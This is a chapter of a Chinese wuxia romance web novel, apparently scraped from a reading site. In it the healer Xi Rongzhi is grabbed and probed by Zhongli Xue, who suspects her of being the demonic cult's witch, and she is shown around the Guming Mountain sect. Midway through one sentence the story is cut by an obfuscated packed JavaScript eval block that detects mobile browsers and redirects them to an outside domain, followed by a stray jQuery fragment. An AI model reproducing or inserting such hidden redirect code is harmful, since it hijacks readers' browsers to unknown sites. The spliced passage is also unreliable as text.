第五章 妖女蛊
蛊虫被麻晕进入休眠状态,九公子感觉自己的半边身体也都快要没知觉了,因流血过多,他的唇色和面色都苍白了不少。
但看眼前的少年神医也一头大汗,他便没说什么,只是下一刻倏地抬眸,朝着前方肩膀一耸一耸的白衣身影看去。
奚容芷早猜到会是这个结果,不过谁让人九公子不乐意让她看着指导呢,这个苦就该他吃。
“你在笑?”话落,冷冽视线如同一道刀锋横劈过去。
奚容芷赶紧咳了两声清了清嗓子,道:“九公子的蛊毒阿槿公子一个人应当很难控制,请几位前辈过来吧。”
药神阁三位长老被请过来,与奚容槿一起,将九公子体内的蛊毒封于心脏一寸外蛊虫所在的位置。
一炷香时间后,阁主下床平复内息,看了眼蛊虫的位置,叮嘱儿子:“九公子的蛊虫离心脏太近了,阿槿,你需得打起万分精神!”
奚容槿抹了一把汗,应下:“儿子知晓。”
阁主转身再次朝着全程指导的奚容芷抱拳行了个礼:“之后也要劳烦阿芷姑娘了。”
奚容芷回了个礼,没说话。
能不能清除蛊毒,关键得看犟种配不配合咯。
因九公子要穿衣,众人便都出了里间。
小满站在外面等着,见奚容芷出来,上前拉过她的手,“阿芷姑娘,走,我带你去外面转转,省得以后迷路。”
正合她的意,奚容芷欣然接受,跟着小满出了药神阁主殿。
天朗气清,君山门前风光秀丽,山色如画。
小满走到白玉栏边,为奚容芷逐一介绍药神阁的几处院落。
指到一处藏于山间的小院,语气轻快起来:“那便是碧落小院,今晚姑娘就歇在那儿……”
话音未落,主殿内走出一道挺拔的身影,气场威严,小满顿时噤声,急忙躬身行礼:“九公子。”
奚容芷并非孤鸣山弟子,自是不必拘礼,加之这犟种好似也不待见她,索性装作没看见,倚着栏杆远眺群山,神情淡然。
一股冷冽的气息从身侧掠过,继而缓慢远去,奚容芷意料之中地挑了挑眉。
下一刻,心头却倏然一紧——她的胳膊被人猛地抓起,一股强劲内力顺着经脉直冲丹田。
奚容芷当即捂住手臂挣扎,却挣不脱他强悍的钳制,而胳膊上的经脉已被他的内力震伤。
她心中暗惊:此人明明身中蛊毒,竟还能施展如此强劲的内力,犟得倒是有些本事。
她抬眸,眼眶因疼痛而微微泛红,语气中带着几分怒意:“九公子这是何意?”
男人目光如刀,一寸寸刮过她的发丝、额头、双眸,脑中不合时宜地浮现出一道月下蒙面的妩媚暗影。
内力反馈至掌心,查探出她丹田上只有一层浅薄温和的心法真气,再无其他异样。
无异样?
男人皱了皱眉,垂眸便见她几欲落泪,楚楚可怜。
他冷淡瞧着,钳制她的手转为点在她外关穴上,一股纯净的内力进入奚容芷手臂,受损的经脉瞬间被修复。
奚容芷一愣,抬眸看向他,有几分搞不懂这犟种了。
这,又是伤又是缓的,莫不是个……疯子?
她挣了挣手臂,男人缓缓松开手,目光却锐利如鹰隼,直直盯着她,沉声问道:“三日前夜间亥时,姑娘在何处?”
“自是在家中。”奚容芷语气平静,捂着胳膊后退两步,离他远远的。
“可有人作证?”他追问。
奚容芷心中不悦,觉得此人实在无理取闹,但碍于他的威势,只得答道:“我独居,哪来的人作证?”
说到这,她忽然想起一事,补充道:“不过……子时院里传来一声巨响,我出门查看,发现惊雨公子已浑身是伤躺在院中。”
男人审视的双眼里滑过一抹异色。
确实,那夜他因蛊毒加重,听暗线提及西佛沟有医者,便将惊雨丢进了一处晒着草药的院落。
没想到,竟是她的住处?
当时他见屋内烛光亮起,有人开门,方才离去。
奚容芷耐着性子又问:“九公子究竟何意?”
九公子收回思绪,淡淡道:“无事。”说罢,转身负手离去。
待他走远,奚容芷才扶着胳膊,暗骂一声疯子!
而后低声问小满:“这人到底是谁?怎地如此可恶!!”
小满霎时一顿,佩服地看向奚容芷,她还是第一次听见有人说九公子可恶呢。
见奚容芷面色不太好,忙拉过她的手,运起黄帝内经心法,将岐黄真气注入她的外关穴,以缓解她的手臂疼痛。
同时低声答道:“九公子呀,姑娘可曾听过他的名号——当今武林第一公子,钟离雪。”
奚容芷恍然大悟:“原来他便是钟离雪?”
难怪身中蛊毒已三日之久还能护住五脏六腑,也照样施展得出强劲内力。
“正是。”小满见她知晓九公子的名号,顿时兴高采烈道,“九公子是掌门义弟,与掌门和三楼长老皆是同门,还是听影楼的副楼主。不过九公子素来不喜管事,平日里极少露面。”
奚容芷闻言,眉头微微一皱,原来此人身份不简单,难怪众人对他恭敬有加。
忽觉手臂传来阵阵暖流,原是小满正将岐黄真气源源不断灌入。奚容芷回神忙道可以了,让她在前面继续带路。
两人从君山门出去,一道深梅色身影快步踏上台阶,大步流星走过来,小满躬身行礼:“飞花长老。”
深梅色衣裙的女子肃着脸,长发利索地固定在脑后,仅有几枝梅花簪点缀,眼角刻着浅浅的细纹,见小满行礼,脚步一顿,点了点头就要进药神阁。
小满赶忙道:“长老,霜降师姐已无大碍,内伤休养两天便能痊愈。”
飞花长老紧绷着的眉梢这才松懈,道了声谢,转身又大步流星出去了。
奚容芷看着她飒爽的背影,不由得问:“这位是……”
小满回:“飞花楼楼主钟离梅,也是霜降师姐的母亲。”
孤鸣山的飞花楼,肩负着维护武林秩序、调解江湖纷争的重任。楼主钟离梅是一位奇女子,早年因在夫家受了凌辱,便仅凭一人之力灭了夫家满门,独自抚养幼女长大。在江湖中的威望仅次于盟主钟离浩,武林中最常见到钟离家身影的,便是她了。
奚容芷若有所思地点了点头,眼中闪过一丝钦佩。
小满见她感兴趣,便继续为她介绍孤鸣山的其他几楼。
孤鸣山上,除了寒山飞花楼外,还有中天门的神玑楼、戒门执事楼和八仙峰听影楼。
神玑楼的楼主正是掌门钟离浩,少主钟离惊雨协助其左右。楼内主要负责宗门内政庶务,培育弟子,是孤鸣山的核心所在。
而执事楼,则是宗内规矩纪律的监督与执行处。弟子若犯了错,需前往执事楼领罚。执事长老钟离雷,以铁面无私著称,正因他过于正直,不懂变通,至今仍未娶妻,成了宗门内的一桩趣谈。
最后是听影楼,顾名思义,专探听江湖消息、传递情报之职。楼主钟离煜,年方三十,整日沉迷于饮酒遛鸟,寻欢作乐,颇有几分不务正业的意味。
但令人称奇的是,尽管听影楼的正副楼主一个不务正业,一个疏于管事,但听影楼的消息却始终是武林中最快、最全的。
奚容芷听完种种,望着座座屹立于山峰峻岭之间的巍峨宫殿,心头感慨万千。
孤鸣山不愧为武林魁首,楼台高筑之下,各楼各司其职,条理分明,井然有序。
日薄西山,晚霞如绸,染红了半边天际。
小满见天色已晚,便领着奚容芷返回了药神阁的碧落小院。
这处院落坐落于幽静的山谷之间,四周景色如画,令人心旷神怡。
院子虽不大,却布局精巧,主屋、灶房、起居室一应俱全,屋后还有一块小小的菜地,显得格外温馨。
“真美。”奚容芷由衷赞叹。
她喜欢这里的宁静,不仅远离喧嚣,离药神阁也近。
院前便是连绵起伏的青山峡谷,仿若一幅天然山水画卷。
“阿芷姑娘!”一道清亮的声音从远处传来。
奚容芷与小满刚在院中转了一圈,正站在院前欣赏远方的景色,闻声回头望去。
惊雨换了一身墨白相间的劲装,马尾随风飞扬,手里提着一个大包袱,正沿着山间小道快步走来。
他身后跟着一袭青衣的霜降和一袭绿衣的青棠,三人步履轻快,皆抬手朝她招呼。
“你们都来啦。”奚容芷笑着上前,推开院门迎接。
几人走进院子,惊雨将包袱放在院前的石桌上,笑道:“给你带了些衣物和日常用品,看看还缺什么。”
霜降也跟着道:“若还有需要的东西,尽管告诉我,我帮你准备。”
奚容芷道了声谢,也不客气,伸手去提包袱,却忽地“嘶”了一声,捂住手臂,眉头微蹙。
“怎么了?”霜降和青棠立刻围了上来,关切问道。
奚容芷笑了笑,摇头道:“没事。”
随即换了另一只手提起包袱,转身进了屋子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505297|170454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
霜降皱了皱眉,神情严肃地看向小满,低声问:“怎么回事?阿芷姑娘怎会受伤?”
小满垂首,小声嘟囔:“是被九公子伤的。”
“九叔?”惊雨眉头一皱,不解,“他为何要伤阿芷姑娘?”
小满捏着手指,有些无措道:“九公子问阿芷姑娘三天前的亥时在哪儿,还要什么证人……我也搞不清楚。”
惊雨闻言,脸色一沉,心中已然明了。
恐怕是因为自己,连累了阿芷姑娘被九叔怀疑,继而受到了伤害!
他俊脸一板,猛然转身,大步朝院外走去,背影中透着一股决然。
青棠一脸诧异,低声问:“惊雨公子这是要去哪儿?”
霜降猜到了几分,但还是摇了摇头,淡淡道:“别管他,他向来是想一出是一出。”
青棠点了点头,不再多问。
待奚容芷从屋里出来,问起惊雨的去向,霜降也只是轻描淡写地以“有事”带过,未再多言。
而那飞奔出去的惊雨则直奔后山钟楼,暗卫处暑飞快现身阻拦,“少主……”
“九叔呢?”惊雨怒气冲冲。
处暑道:“在楼里处理暗卫营的……”
话没说完,惊雨已经一把推开他冲进了楼里。
钟楼主殿空旷暗沉,弥漫着一股生冷气息,进来便让人感觉被掐住了脖子似的,很不舒服。
主殿暗处,呼噜呼噜的呼吸声若隐若现,一双赤瞳利眸忽然睁开,惊雨霎时头皮发麻,汗毛倒竖。
忙出声轻哄:“闪电闪电,是我啊,你还识得我嘛?”
那双赤瞳利眸自暗影中定定地盯着他看了会儿,方才闭上。
惊雨这才松了口气,九叔养着的这只狼,脾气可不太好。
“找我?”一声低沉的嗓音自侧边传来。
惊雨寻着声音的方向穿过主殿,在偏殿案台之后见到了一袭黑衣的影子。
夜幕即将降临,殿里也不点灯,无端让人感觉背脊发凉,阴森森的。
惊雨怒气早就被那头狼给吓散了,但想起来的目的,还是板了板脸,生硬道:“九叔这是作甚?阿芷姑娘好意救我,你却要伤她!”
钟离雪没说话,小片刻后,一缕烛光亮起,满室生辉。
刚放下火折子,一道暗影自黑暗中快如闪电般蹿上高台,威风凛凛蹲在他旁边。
钟离雪伸手摸了摸皮毛光滑的狼头,这才抬眸看向少年怒气冲冲的面容,缓缓掀起袖子,露出那已被逼退蛊毒的苍白手腕。
声音沉冷如冰:“你可知,我这蛊毒,乃是魔教那妖女所下?”
惊雨一惊,想上前查看又不敢,只能关切道:“九叔也中蛊毒了?”
难怪那晚将他丢在阿芷姑娘的院子里,想来九叔已然是撑不住了。
这苗疆魔教当真可恶至极!
不过,他很快想到自己已将神医带上山,便轻哼一声,语气中带着几分得意:“还不是被阿芷姑娘解了!”
钟离雪冷笑一声:“可魔教有传言——妖女的蛊,这世间唯有她能解。”
噬心之蛊便是魔教教主亲手饲养出来的。
惊雨闻言,微微一愣,但随即坚定道:“那是他们愚昧,不知天外有天,人外有人!阿芷姑娘便是那能解世间蛊毒之人!”
钟离雪:“……”
片刻,他抬起两指摁了摁突突直跳的太阳穴。
“莫不是……”惊雨忽然反应过来,登时看向他,“九叔怀疑阿芷姑娘便是魔教教主?”
钟离雪终于赞扬地看了他一眼,不算太蠢。
惊雨被这眼神激得心头火起,但他可不敢发出来,便斩钉截铁道:“不可能!决计不可能!”
他大步跨上高台,一屁股坐下,语气急促地讲述起今日山脚发生的事。
“……只见狂风乱舞间,那魔教妖女和她的护法便像那晚一般悄无声息出现,于四方碑前围攻我们!”
“妖女蛊惑于我,更是差点杀了阿芷姑娘,若不是阿姐及时赶到,阿芷姑娘恐怕早已凶多吉少!”
钟离雪敛眸不语,手指顺着狼毛轻抚。
惊雨见状,心中焦急,语气也愈发急促:“九叔若不信大可去问青棠姑娘和凛冬,还有阿姐!”
“哦,对了,我爹也是亲眼看见那魔教妖女逃跑了的!”
钟离雪依旧沉默,只是那深邃的眼眸中,隐隐透出一丝难以捉摸的思绪。
他的直觉向来不会出错,药神阁这名外来之女和那魔教妖女之间,定有某种关联,只是他暂未找出破绽来。